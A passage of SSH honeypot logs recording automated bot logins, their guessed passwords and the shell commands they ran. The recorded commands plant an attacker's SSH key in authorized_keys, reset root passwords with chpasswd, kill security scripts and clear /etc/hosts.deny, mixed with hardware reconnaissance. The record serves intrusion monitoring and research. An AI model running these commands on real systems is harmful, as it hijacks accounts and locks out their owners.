AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:48:00.697015+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:48:01.098136+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:48:01.398089+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cps123\\nKKaN4Xxu4ll2\\nKKaN4Xxu4ll2\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:48:01.703205+00:00","kind":"input","latency_ms":null,"data":"echo \"cps123\\nKKaN4Xxu4ll2\\nKKaN4Xxu4ll2\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:48:01.992849+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:48:02.508097+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:48:02.808539+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:48:03.851507+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:48:04.152586+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:48:05.140208+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:48:05.441177+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:48:06.099132+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:48:06.399257+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:48:06.982477+00:00","kind":"output","latency_ms":null,"data":" 12:48:06 up 7 days, 9:38, 0 user, load average: 0.28, 0.2, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:48:07.282307+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:48:08.127743+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:48:08.427118+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:48:09.120254+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:48:09.420761+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:48:10.026110+00:00","kind":"output","latency_ms":null,"data":"top - 12:48:10 up 7 days, 9:38, 0 user, load average: 0.28, 0.2, 0.26\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:48:10.326448+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:48:10.876147+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:48:11.173254+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:48:11.883133+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:48:12.183407+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:48:13.023355+00:00","kind":"output","latency_ms":null,"data":"cps"},{"seq":29,"at":"2026-08-27T12:48:13.322607+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:48:14.712610+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:48:15.013868+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:48:17.022602+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cps","password":"cps123","method":"password","accepted":true,"tier":"other"}]} {"id":"072ecce3-fc5c-41e7-bf46-f794ce3d5c5d","name":"gentle-calm-catbird","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":40636,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:48:06.599294+00:00","ended_at":"2026-08-27T12:48:09.011219+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5fff8a62-087e-4a32-ac52-29693e593232","name":"vivid-quartz-cardinal","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":40626,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:48:03.682643+00:00","ended_at":"2026-08-27T12:48:05.102033+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ba15888a-0d9a-4a92-8497-175841418d63","name":"gloomy-kindly-gull","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":40624,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:48:01.055435+00:00","ended_at":"2026-08-27T12:48:01.885247+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T12:48:01.056237+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:48:01.548241+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"user","password":"!QAZxsw2","method":"password","accepted":true,"tier":"other"}]} {"id":"8d69b4fa-ab7e-4ecc-a15e-72c12cd0c448","name":"genial-creaky-bowerbird","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":52442,"username":"cps","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:47:59.133317+00:00","ended_at":"2026-08-27T12:48:00.603248+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"cps","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2be61374-7157-471c-8912-bee3a0601c04","name":"prairie-whispering-owl","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59854,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":446,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:47:57.972467+00:00","ended_at":"2026-08-27T12:47:59.174021+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:47:37.819111+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:47:38.263183+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:47:42.120134+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:47:42.760367+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:47:43.206122+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Ph4Zi15JGXvu\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:47:43.651232+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:47:44.098031+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:47:44.470196+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:47:44.917315+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:47:46.119493+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:47:46.566872+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:47:47.732413+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:47:48.180257+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:47:48.537822+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:47:48.983687+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:47:49.621037+00:00","kind":"output","latency_ms":null,"data":" 12:47:49 up 7 days, 9:37, 0 user, load average: 0.14, 0.13, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:47:50.067647+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:47:50.605167+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:47:51.051948+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:47:51.690805+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:47:52.136881+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:47:52.685405+00:00","kind":"output","latency_ms":null,"data":"top - 12:47:52 up 7 days, 9:37, 0 user, load average: 0.14, 0.13, 0.17\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:47:53.132289+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:47:53.990048+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:47:54.442401+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:47:54.943472+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:47:55.395362+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:47:55.896629+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:47:56.345059+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:47:57.527266+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:47:57.973267+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:47:59.042075+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"abc@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"c6511889-3ecf-4853-bfad-6be0f693ce86","name":"zealous-freckled-grebe","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":52426,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:47:57.131415+00:00","ended_at":"2026-08-27T12:47:58.555706+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a91607e8-e524-40e0-9e00-a167432f342e","name":"sullen-marine-impala","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":41434,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":347,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:47:51.603044+00:00","ended_at":"2026-08-27T12:47:53.744422+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:47:32.510468+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:47:33.133610+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:47:36.559873+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:47:36.812421+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:47:37.158484+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ywYCiJ3Lfkjr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:47:37.505218+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:47:37.852375+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:47:39.368636+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:47:39.715838+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:47:41.126443+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:47:41.478909+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:47:42.279705+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:47:42.627121+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:47:43.297112+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:47:43.643826+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:47:44.504751+00:00","kind":"output","latency_ms":null,"data":" 12:47:44 up 7 days, 9:37, 0 user, load average: 0.06, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:47:44.851208+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:47:45.210078+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:47:45.557961+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:47:45.926592+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:47:46.274387+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:47:47.034250+00:00","kind":"output","latency_ms":null,"data":"top - 12:47:47 up 7 days, 9:37, 0 user, load average: 0.06, 0.07, 0.05\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:47:47.382863+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:47:48.006793+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:47:48.354105+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:47:49.052687+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:47:49.401613+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:47:49.755183+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:47:50.101457+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:47:51.256659+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:47:51.603819+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:47:53.639805+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"root2024@","method":"password","accepted":true,"tier":"other"}]} {"id":"e6b750e1-5b54-45ef-ade8-4cafd4c740f7","name":"faded-boreal-catbird","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59882,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:47:40.981594+00:00","ended_at":"2026-08-27T12:47:41.981559+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9ea6d40a-8b05-4e34-820b-657acea2e7e8","name":"jaunty-scarlet-hyrax","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59870,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:47:39.299514+00:00","ended_at":"2026-08-27T12:47:40.102246+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e665c71c-fb6a-4d64-aeba-bcae6fdfe8d0","name":"prickly-velvet-waxwing","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":41450,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:47:35.352041+00:00","ended_at":"2026-08-27T12:47:36.453911+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4dabd30c-efd9-49e2-aa9f-29ed9f7feed1","name":"wooded-supple-ibex","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":41446,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:47:33.887321+00:00","ended_at":"2026-08-27T12:47:34.663088+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"774245d3-4027-4c9c-9786-2d12d2e0dd31","name":"glassy-wry-cicada","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":60988,"username":"validate","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":209,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:47:04.789406+00:00","ended_at":"2026-08-27T12:47:04.894050+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T12:47:02.718100+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:47:03.536421+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:47:03.745179+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:47:03.745861+00:00","kind":"output","latency_ms":null,"data":" 12:47:03 up 7 days, 9:37, 0 user, load average: 0.22, 0.17, 0.26"},{"seq":5,"at":"2026-08-27T12:47:03.954317+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T12:47:03.954871+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:47:04.164083+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:47:04.164795+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:47:04.374062+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:47:04.374960+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:47:04.582223+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:47:04.582690+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:47:04.790168+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:47:04.790696+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"validate","password":"validate","method":"password","accepted":true,"tier":"other"}]} {"id":"36d59bb7-caef-4b0f-91d9-e855babd4fec","name":"forlorn-sterling-ibis","protocol":"ssh","channel_kind":null,"src_ip":"63.141.242.2","src_port":65241,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:46:11.056715+00:00","ended_at":"2026-08-27T12:46:39.059038+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"bcb3156c-dcdd-4d14-99f9-61451f6e2656","name":"smoky-lucid-gadwall","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":44914,"username":"ansible","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:46:06.093448+00:00","ended_at":"2026-08-27T12:46:08.345573+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2260,"events":[{"seq":1,"at":"2026-08-27T12:45:49.327446+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:45:49.622234+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 